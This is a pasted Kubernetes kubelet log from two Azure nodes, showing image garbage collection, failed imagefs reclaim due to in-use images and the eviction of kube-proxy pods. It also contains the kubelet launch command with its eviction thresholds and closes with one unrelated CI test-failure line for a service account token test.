image_gc_manager.go:335   imagegcmanager : removing image \ sha256:93a43bfb39bfe9795e76ccd75d7a0e6d40e2ae8563456a2a77c1b4cfc3bbd967\  to free 8374840 bytes\r apr 26 09:05:13 node-2-vm kubelet-wrapper 1064 : i0426 09:05:13.025948    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:3f8119a98476b97e806057a72e8e836a2d3e65d56e9b4c790e75874e586b8db0\  to free 146818590 bytes\r apr 26 09:05:20 node-2-vm kubelet-wrapper 1064 : i0426 09:05:20.834627    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:185e60a5dda7ba40e61bdc7e1d55bb48be944fed74b264ba32555c3d8b9dbdfc\  to free 414603516 bytes\r apr 26 09:05:48 node-2-vm kubelet-wrapper 1064 : i0426 09:05:48.115665    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:32d762cb608daf7c6aefba1993b97009dcfe89166c7768c9a1d60ead71093db8\  to free 414648849 bytes\r apr 26 09:06:15 node-2-vm kubelet-wrapper 1064 : i0426 09:06:15.191242    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:2ee0b872ccbb2dfd9e6faddfdc2341c909f4166aeb02004d918bab338b7eaf53\  to free 863819225 bytes\r apr 26 09:07:03 node-2-vm kubelet-wrapper 1064 : i0426 09:07:03.517772    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ef2ca8397823de41a0752186c644a88cb93abb280a4e09e75704e3ae02b9332d\  to free 185506981 bytes\r apr 26 09:07:03 node-2-vm kubelet-wrapper 1064 : i0426 09:07:03.571210    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0d738dc5a3854ca4bc81eea18f913f4776a5725e269443c4588369270474bb21\  to free 273406715 bytes\r apr 26 09:07:03 node-2-vm kubelet-wrapper 1064 : i0426 09:07:03.579988    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:a724d4e76985d9c429f5da3b8e495f99fae0260382aa2d54d9a2a7ea7542b1ad\  to free 415096187 bytes\r apr 26 09:07:47 node-2-vm kubelet-wrapper 1064 : i0426 09:07:47.540511    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0f6692796628553bf4837d61a384e5f0f61d2834d7674b94e2fe25984ce6ba4b\  to free 414509012 bytes\r apr 26 09:08:22 node-2-vm kubelet-wrapper 1064 : i0426 09:08:22.849766    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:e624a16e665b50f70d9edbe8af10e817926cf7ea52825ec9c7a35e0057e79306\  to free 903598860 bytes\r apr 26 09:09:08 node-2-vm kubelet-wrapper 1064 : i0426 09:09:08.756822    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:93b7861812ab036ba0961a50691350f9a1adafbbcfa8f6abffca93dd507a137e\  to free 273406785 bytes\r apr 26 09:09:17 node-2-vm kubelet-wrapper 1064 : i0426 09:09:17.944001    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:d1589959cf3d549ecfa0cfb07b17037a23e3053f5ecf7bf36d87d197285ebb8f\  to free 415082550 bytes\r apr 26 09:09:17 node-2-vm kubelet-wrapper 1064 : w0426 09:09:17.953817    1064 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:09:41 node-2-vm kubelet-wrapper 1064 : i0426 09:09:41.695594    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:512d06ca2b31a1217dfa0d27d5d8d62c2cf4171445a88a4fcec216b2e9ff2eaa\  to free 415125623 bytes\r apr 26 09:10:20 node-2-vm kubelet-wrapper 1064 : i0426 09:10:20.864086    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:e458b00875ef2a207cc616b7faf3fcf34750b5ed7749c81e7a4fc2ca613a22d1\  to free 414715845 bytes\r apr 26 09:10:47 node-2-vm kubelet-wrapper 1064 : i0426 09:10:47.753698    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:dd25de8e412f1f52fecf390eeebcf9e95832a1d0412e0e0007f54482ce17644e\  to free 414601850 bytes\r apr 26 09:11:11 node-2-vm kubelet-wrapper 1064 : i0426 09:11:11.217929    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:8c5180a9f04f4d5335ae34036ca574891b7387f511e9278dc121311fa6a99ec0\  to free 761001968 bytes\r apr 26 09:11:39 node-2-vm kubelet-wrapper 1064 : i0426 09:11:39.845599    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:83d6014ac5c8193fa43dd16b161f0e524141800f10cff44d7bad3b637991cf16\  to free 183560546 bytes\r apr 26 09:11:45 node-2-vm kubelet-wrapper 1064 : i0426 09:11:45.285893    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:4739b6afb43578c3099de049456bfa623501ee902f307618705b97da71b454f4\  to free 641168361 bytes\r apr 26 09:12:07 node-2-vm kubelet-wrapper 1064 : i0426 09:12:07.672331    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:1ee3d66b99f1a88f81c9347b732e646a775a4482ab825113bc6390ae0de1c0c6\  to free 415082682 bytes\r apr 26 09:12:07 node-2-vm kubelet-wrapper 1064 : i0426 09:12:07.709123    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  to free 746888 bytes\r apr 26 09:12:07 node-2-vm kubelet-wrapper 1064 : i0426 09:12:07.712029    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:d8d99e23406fba9037c247af8dd9a3e936c7f728b821ddc488458ff03fd474f5\  to free 414508520 bytes\r apr 26 09:12:39 node-2-vm kubelet-wrapper 1064 : i0426 09:12:39.555437    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:57097b8b4e2a3b6cc90cf80c00646397fdeaab2976e0c617f7c9a3e120f4d290\  to free 414649779 bytes\r apr 26 09:13:05 node-2-vm kubelet-wrapper 1064 : i0426 09:13:05.179673    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:a5f8d66a067e1d15ae5bc2cf75f2e9834581699dcc662d66e7cc33db82d79c4e\  to free 179648037 bytes\r apr 26 09:13:05 node-2-vm kubelet-wrapper 1064 : i0426 09:13:05.184026    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:4779a897e7007a07d37ca64a6651d410ffed65da83034f39c7b41bcd6c2def9a\  to free 273002785 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : e0426 09:13:09.518904    1064 eviction_manager.go:390  eviction manager: unexpected error when attempting to reduce imagefs pressure: wanted to free 9223372036854775807, but freed 13832984265 space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5dbb6d76ba11  cannot be forced  - image is being used by running container 62e0ff2934d0\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 91a48ff795ce  cannot be forced  - image is being used by running container 440c3c950d33\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ef2ca8397823  cannot be forced  - image is being used by running container 82de671a9035\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0d738dc5a385  cannot be forced  - image is being used by running container fc4cbfae1022\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1ee3d66b99f1  cannot be forced  - image is being used by running container ba7dcec7522e\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container c6f5bc80dc3e\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a5f8d66a067e  cannot be forced  - image is being used by running container e1f71e592f81\ } \r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.518941    1064 eviction_manager.go:313  eviction manager: must evict pod s  to reclaim imagefs\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.519150    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:91a48ff795cebb88646ec6cc4955bf7f500466feb44ec18b508f2ce94ed0d9b7\  to free 664880136 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.520105    1064 eviction_manager.go:332  eviction manager: pods ranked for eviction: kube-proxy-node-2-vm_kube-system 917a0ffe06a546ae9000a727a4395dfe , fluentd-logz-kmpfn_kube-system e28a913d-28df-11e7-83bd-000d3a2709aa , brpx-com-2906161812-c2ld6_brpx-com dc409ba5-28eb-11e7-83bd-000d3a2709aa , brpx-com-2906161812-3k541_brpx-com dc408bab-28eb-11e7-83bd-000d3a2709aa , tviftttapp-3948648935-38knh_tvifttt 302c71fc-2a5e-11e7-be9c-000d3a27013b , trendex-1520046056-97jj7_trendex f2977579-2910-11e7-83bd-000d3a2709aa , trendex-1520046056-jbk0h_trendex f296a799-2910-11e7-83bd-000d3a2709aa , gobrpxio-2079375017-l7hxn_gobrpxio 3013cf2a-2a5e-11e7-be9c-000d3a27013b , worten-ac-simulator-1580616395-j9x0w_worten-ac-simulator 30658401-2a5e-11e7-be9c-000d3a27013b , nosslack-3081705298-xtb46_nosslack 30344757-2a5e-11e7-be9c-000d3a27013b , cathode-355706785-3c12t_cathode 30407fc7-2a5e-11e7-be9c-000d3a27013b , pixelscamp-3764821432-t1jt1_pixelscamp 3035c1bb-2a5e-11e7-be9c-000d3a27013b , roamersapp-159490837-rq2k9_roamersapp 303595eb-2a5e-11e7-be9c-000d3a27013b \r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.546088    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:a5f8d66a067e1d15ae5bc2cf75f2e9834581699dcc662d66e7cc33db82d79c4e\  to free 179648037 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.566398    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  to free 746888 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.578684    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:1ee3d66b99f1a88f81c9347b732e646a775a4482ab825113bc6390ae0de1c0c6\  to free 415082682 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.588268    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5dbb6d76ba117f8a29c6d0000e9b33e8b5bdb29a9fe59ce560a381ed3e6688ed\  to free 561602155 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.607324    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ef2ca8397823de41a0752186c644a88cb93abb280a4e09e75704e3ae02b9332d\  to free 185506981 bytes\r apr 26 09:13:09 node-2-vm kubelet-wrapper 1064 : i0426 09:13:09.617033    1064 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0d738dc5a3854ca4bc81eea18f913f4776a5725e269443c4588369270474bb21\  to free 273406715 bytes\r apr 26 09:13:10 node-2-vm kubelet-wrapper 1064 : i0426 09:13:10.601150    1064 eviction_manager.go:362  eviction manager: pod kube-proxy-node-2-vm_kube-system 917a0ffe06a546ae9000a727a4395dfe  evicted successfully\r    \r \r node 3\r    \r apr 26 09:23:26 node-3-vm kubelet-wrapper 1288 : + exec /usr/bin/rkt run --uuid-file-save=/var/run/kubelet-pod.uuid --volume var-cni,kind=host,source=/var/lib/cni --mount volume=var-cni,target=/var/lib/cni --volume var-log,kind=host,source=/var/log --mount volume=var-log,target=/var/log --volume lib-modules,kind=host,source=/lib/modules --mount volume=lib-modules,target=/lib/modules --volume etc-resolv,kind=host,source=/etc/resolv.conf --mount volume=etc-resolv,target=/etc/resolv.conf --trust-keys-from-https --volume etc-kubernetes,kind=host,source=/etc/kubernetes,readonly=false --volume etc-ssl-certs,kind=host,source=/etc/ssl/certs,readonly=true --volume usr-share-certs,kind=host,source=/usr/share/ca-certificates,readonly=true --volume var-lib-docker,kind=host,source=/var/lib/docker,readonly=false --volume var-lib-kubelet,kind=host,source=/var/lib/kubelet,readonly=false --volume os-release,kind=host,source=/usr/lib/os-release,readonly=true --volume run,kind=host,source=/run,readonly=false --mount volume=etc-kubernetes,target=/etc/kubernetes --mount volume=etc-ssl-certs,target=/etc/ssl/certs --mount volume=usr-share-certs,target=/usr/share/ca-certificates --mount volume=var-lib-docker,target=/var/lib/docker --mount volume=var-lib-kubelet,target=/var/lib/kubelet --mount volume=os-release,target=/etc/os-release --mount volume=run,target=/run --stage1-from-dir=stage1-fly.aci quay.io/coreos/hyperkube:v1.6.2_coreos.0 --exec=/kubelet -- --cloud-provider=azure --cloud-config=/etc/kubernetes/azure.json --kubeconfig=/etc/kubernetes/worker-kubeconfig.yaml --require-kubeconfig --container-runtime=docker --network-plugin-dir=/etc/kubernetes/cni/net.d --network-plugin=kubenet --register-node=true --allow-privileged=true --pod-manifest-path=/etc/kubernetes/manifests --cluster-dns=10.3.0.10 --cluster-domain=cluster.local --client-ca-file=/etc/kubernetes/ssl/ca.pem --anonymous-auth=false --image-gc-high-threshold=85 --image-gc-low-threshold=75 --eviction-max-pod-grace-period=600 --eviction-minimum-reclaim=memory.available=350mi,imagefs.available=2gi,nodefs.available=2gi '--evi\r apr 26 09:23:26 node-3-vm kubelet-wrapper 1288 : ction-soft=memory.available<300mi,nodefs.available<14%,nodefs.inodesfree<14%,imagefs.available<14%,imagefs.inodesfree<14' --eviction-soft-grace-period=memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s,nodefs.inodesfree=1m,imagefs.inodesfree=1m '--eviction-hard=memory.available<250mi,nodefs.available<10%,nodefs.inodesfree<10%,imagefs.available<10%,imagefs.inodesfree<10' --node-labels=component_type=node\r apr 26 09:24:06 node-3-vm kubelet-wrapper 1288 : i0426 09:24:06.718452    1288 container_manager_linux.go:250  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs protectkerneldefaults:false enablecri:true nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:250mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:imagefs.inodesfree operator:lessthan value:{quantity:10 percentage:0} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map  }\r apr 26 09:27:32 node-3-vm kubelet-wrapper 1288 : w0426 09:27:32.212234    1288 eviction_manager.go:299  eviction manager: attempting to reclaim imagefs\r apr 26 09:27:32 node-3-vm kubelet-wrapper 1288 : i0426 09:27:32.212259    1288 helpers.go:996  eviction manager: attempting to delete unused images\r apr 26 09:27:32 node-3-vm kubelet-wrapper 1288 : i0426 09:27:32.321234    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:83d6014ac5c8193fa43dd16b161f0e524141800f10cff44d7bad3b637991cf16\  to free 183560546 bytes\r apr 26 09:27:52 node-3-vm kubelet-wrapper 1288 : i0426 09:27:52.947094    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:9ec203d124a6b68a6b7aaf2781980a23cb8bf25e5182be58fdee68c4ea923aaa\  to free 871175724 bytes\r apr 26 09:28:27 node-3-vm kubelet-wrapper 1288 : i0426 09:28:27.738286    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:f84560f49efb2588bb02e40ec2f4c4c5921f19a05d5e1a16f97c0a79676d13c3\  to free 181587389 bytes\r apr 26 09:28:33 node-3-vm kubelet-wrapper 1288 : i0426 09:28:33.674407    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:dee0c21171b2fad0ea7b3d8ecb3367f736545a5352664f0e4363fae9eeaf52d1\  to free 414603265 bytes\r apr 26 09:28:33 node-3-vm kubelet-wrapper 1288 : w0426 09:28:33.676812    1288 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:29:06 node-3-vm kubelet-wrapper 1288 : i0426 09:29:06.976314    1288 image_gc_manager.go:270   imagegcmanager : disk usage on \ /dev/sdb\   /var/lib/docker/overlay  is at 90% which is over the high threshold  85% . trying to free 2964397056 bytes\r apr 26 09:29:08 node-3-vm kubelet-wrapper 1288 : i0426 09:29:08.978328    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:896f0b69742a885415971c4c0ff5061b6be98b1f13b992a8d807cb01a8fb64bb\  to free 414645633 bytes\r apr 26 09:29:42 node-3-vm kubelet-wrapper 1288 : i0426 09:29:42.307318    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:23e06117ef295ada062462ed6d942a9cc71b28207ba54002685f8a742160a2af\  to free 871180902 bytes\r apr 26 09:30:19 node-3-vm kubelet-wrapper 1288 : i0426 09:30:19.809220    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5e9aec5d1f8258478c5d923e6130d4261ac4486518276e3c2b125ccae6195b5d\  to free 674664162 bytes\r apr 26 09:30:19 node-3-vm kubelet-wrapper 1288 : w0426 09:30:19.810449    1288 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:30:36 node-3-vm kubelet-wrapper 1288 : i0426 09:30:36.934116    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:a8d49a60310d1c2d69287718724c2b59f6c589bfec1699decc2758141bfee5e5\  to free 414603265 bytes\r apr 26 09:30:59 node-3-vm kubelet-wrapper 1288 : i0426 09:30:59.756611    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:3c734123a3d156f74608ab8fdc1e1776137c01b9026dd36901f70e1202f50c82\  to free 748518122 bytes\r apr 26 09:31:30 node-3-vm kubelet-wrapper 1288 : i0426 09:31:30.832890    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:4779a897e7007a07d37ca64a6651d410ffed65da83034f39c7b41bcd6c2def9a\  to free 273002785 bytes\r apr 26 09:31:41 node-3-vm kubelet-wrapper 1288 : i0426 09:31:41.813643    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ef2ca8397823de41a0752186c644a88cb93abb280a4e09e75704e3ae02b9332d\  to free 185506981 bytes\r apr 26 09:31:47 node-3-vm kubelet-wrapper 1288 : i0426 09:31:47.478619    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:1180413103fdfd00a7882d3d8653a220d88c6ea4466fb860e98376c45ee1a1d0\  to free 103563297 bytes\r apr 26 09:31:47 node-3-vm kubelet-wrapper 1288 : i0426 09:31:47.563776    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  to free 746888 bytes\r apr 26 09:31:47 node-3-vm kubelet-wrapper 1288 : i0426 09:31:47.565923    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:512d06ca2b31a1217dfa0d27d5d8d62c2cf4171445a88a4fcec216b2e9ff2eaa\  to free 415125623 bytes\r apr 26 09:32:18 node-3-vm kubelet-wrapper 1288 : i0426 09:32:18.074035    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:7a32fb6af2795d1761fd2983ec8fe37a5aad496e6e640f5b3f21f7e2b6f22590\  to free 414601831 bytes\r apr 26 09:32:41 node-3-vm kubelet-wrapper 1288 : i0426 09:32:41.005883    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:6e5b5780cb380efbd828c4f6b60139db1eda21de3ef6113c34a8ae590c501cfc\  to free 414645625 bytes\r apr 26 09:33:01 node-3-vm kubelet-wrapper 1288 : i0426 09:33:01.499874    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:c5fcd8f5fe67278d877709cf1da47f33cd2c15ef79782c9a419f06a26cc21063\  to free 414648929 bytes\r apr 26 09:33:24 node-3-vm kubelet-wrapper 1288 : w0426 09:33:24.157771    1288 image_gc_manager.go:176   imagegcmanager  failed to update image list: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ layer does not exist\ }\r apr 26 09:33:24 node-3-vm kubelet-wrapper 1288 : i0426 09:33:24.158230    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:3f8119a98476b97e806057a72e8e836a2d3e65d56e9b4c790e75874e586b8db0\  to free 146818590 bytes\r apr 26 09:33:30 node-3-vm kubelet-wrapper 1288 : i0426 09:33:30.684768    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5dbb6d76ba117f8a29c6d0000e9b33e8b5bdb29a9fe59ce560a381ed3e6688ed\  to free 561602155 bytes\r apr 26 09:33:30 node-3-vm kubelet-wrapper 1288 : i0426 09:33:30.687293    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:79a2226593dda8d6fd9956ec678af5f6b104d0eb8e8df30c1be62283c0a68877\  to free 414715845 bytes\r apr 26 09:33:51 node-3-vm kubelet-wrapper 1288 : i0426 09:33:51.395912    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:cb3475bac179739e6d982aa90c921bb0b583b24b7cbabd740302fe8d05f55c5e\  to free 414568784 bytes\r apr 26 09:34:14 node-3-vm kubelet-wrapper 1288 : i0426 09:34:14.532056    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:2ee0b872ccbb2dfd9e6faddfdc2341c909f4166aeb02004d918bab338b7eaf53\  to free 863819225 bytes\r apr 26 09:34:14 node-3-vm kubelet-wrapper 1288 : i0426 09:34:14.559276    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:1a9f79a809a7882738516f53848f872baea546897933dea78a8402e7f8963038\  to free 974481562 bytes\r apr 26 09:34:14 node-3-vm kubelet-wrapper 1288 : i0426 09:34:14.570443    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:91a48ff795cebb88646ec6cc4955bf7f500466feb44ec18b508f2ce94ed0d9b7\  to free 664880136 bytes\r apr 26 09:34:14 node-3-vm kubelet-wrapper 1288 : i0426 09:34:14.572576    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5b77efb72fcbbeb8d1282b96a18b675f11644b08ce5a88a952b6810bbda5b539\  to free 751380229 bytes\r apr 26 09:34:39 node-3-vm kubelet-wrapper 1288 : i0426 09:34:39.201827    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:f71539c16f7407d68f351d1ea72ef7e075ea6d19b1a228229b029bf0a90bfe39\  to free 1008205660 bytes\r apr 26 09:35:44 node-3-vm kubelet-wrapper 1288 : i0426 09:35:44.323401    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:e624a16e665b50f70d9edbe8af10e817926cf7ea52825ec9c7a35e0057e79306\  to free 903598860 bytes\r apr 26 09:36:11 node-3-vm kubelet-wrapper 1288 : i0426 09:36:11.967106    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:ee590f1abe7181fd148a1a1ed48b24a6cbc54918e94569229e419ef9ea56c432\  to free 693318312 bytes\r apr 26 09:36:58 node-3-vm kubelet-wrapper 1288 : i0426 09:36:58.853541    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:93b7861812ab036ba0961a50691350f9a1adafbbcfa8f6abffca93dd507a137e\  to free 273406785 bytes\r apr 26 09:37:06 node-3-vm kubelet-wrapper 1288 : i0426 09:37:06.408117    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0fad4ed4855b1092b05c4e7fa6fe660047d4d3378c015cd34823b5326d0cce5c\  to free 414650028 bytes\r apr 26 09:37:30 node-3-vm kubelet-wrapper 1288 : i0426 09:37:30.423168    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:c3b1d136672c23484b112e14749735b354d9c7dc05365d4a0b90adc0c17eba0a\  to free 414509012 bytes\r apr 26 09:37:50 node-3-vm kubelet-wrapper 1288 : i0426 09:37:50.212160    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:a5f8d66a067e1d15ae5bc2cf75f2e9834581699dcc662d66e7cc33db82d79c4e\  to free 179648037 bytes\r apr 26 09:38:10 node-3-vm kubelet-wrapper 1288 : i0426 09:38:10.739730    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:4739b6afb43578c3099de049456bfa623501ee902f307618705b97da71b454f4\  to free 641168361 bytes\r apr 26 09:38:29 node-3-vm kubelet-wrapper 1288 : i0426 09:38:29.066874    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:f221d902bfa1d13809e5a3892b3d361ec8e37aa90cbe59d578f8658b61639cf0\  to free 415186811 bytes\r apr 26 09:38:48 node-3-vm kubelet-wrapper 1288 : i0426 09:38:48.980938    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:0de7d8cab78b2d5e7a14ba8529eb6acf1efc6c1fe8cb18ba14f0f790dc875269\  to free 414715665 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.346209    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:91a48ff795cebb88646ec6cc4955bf7f500466feb44ec18b508f2ce94ed0d9b7\  to free 664880136 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : e0426 09:39:14.346813    1288 eviction_manager.go:390  eviction manager: unexpected error when attempting to reduce imagefs pressure: wanted to free 9223372036854775807, but freed 14081525058 space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 1b191bec34dd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5dbb6d76ba11  cannot be forced  - image is being used by running container 8ecfe612b1c0\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2ee0b872ccbb  cannot be forced  - image is being used by running container a42d6771288a\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1a9f79a809a7  cannot be forced  - image is being used by running container e4c0672d38ea\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 91a48ff795ce  cannot be forced  - image is being used by running container 9bee9ae28d51\ } \r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.346842    1288 eviction_manager.go:313  eviction manager: must evict pod s  to reclaim imagefs\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.347822    1288 eviction_manager.go:332  eviction manager: pods ranked for eviction: kube-proxy-node-3-vm_kube-system 917a0ffe06a546ae9000a727a4395dfe , tv-directory-4148676373-1g3zq_tv-directory 5c49b524-2a62-11e7-be9c-000d3a27013b , nginx-3757477279-2hzxp_nginx-ingress 5c4c6933-2a62-11e7-be9c-000d3a27013b , roamersapp-159490837-mk8ws_roamersapp 5be44228-2a62-11e7-be9c-000d3a27013b , fluentd-logz-1dmdm_kube-system fdfc4d47-d0f2-11e6-b156-000d3a2709aa , cathode-355706785-sq0zr_cathode 5be4553d-2a62-11e7-be9c-000d3a27013b , nosslack-3081705298-vch8g_nosslack 5c2669fe-2a62-11e7-be9c-000d3a27013b , raster-2089787901-ft9fb_raster 5bebc12b-2a62-11e7-be9c-000d3a27013b , bitshopping-2917900847-kcc53_bitshopping 5becec47-2a62-11e7-be9c-000d3a27013b , nosslackbot-104706747-06psp_nosslack 5c6460fd-2a62-11e7-be9c-000d3a27013b , gobrpxio-2079375017-85w0b_gobrpxio 5c912596-2a62-11e7-be9c-000d3a27013b , default-http-backend-3981334675-kfbrq_nginx-ingress 5c647b47-2a62-11e7-be9c-000d3a27013b \r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.516146    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2\  to free 746888 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.543119    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:2ee0b872ccbb2dfd9e6faddfdc2341c909f4166aeb02004d918bab338b7eaf53\  to free 863819225 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.573738    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:1a9f79a809a7882738516f53848f872baea546897933dea78a8402e7f8963038\  to free 974481562 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.581163    1288 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:5dbb6d76ba117f8a29c6d0000e9b33e8b5bdb29a9fe59ce560a381ed3e6688ed\  to free 561602155 bytes\r apr 26 09:39:14 node-3-vm kubelet-wrapper 1288 : i0426 09:39:14.898393    1288 eviction_manager.go:362  eviction manager: pod kube-proxy-node-3-vm_kube-system 917a0ffe06a546ae9000a727a4395dfe  evicted successfully\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/5211/ failed: testtokencreation {serviceaccount}      tokens_controller_test.go:654: new serviceaccount with no secrets with resource conflict: 1 unexpected actions:  {actionimpl:{namespace:default verb:get resource:{group: version:v1 resource:serviceaccounts} subresource:} name:default}        previous issues for this test:  44819

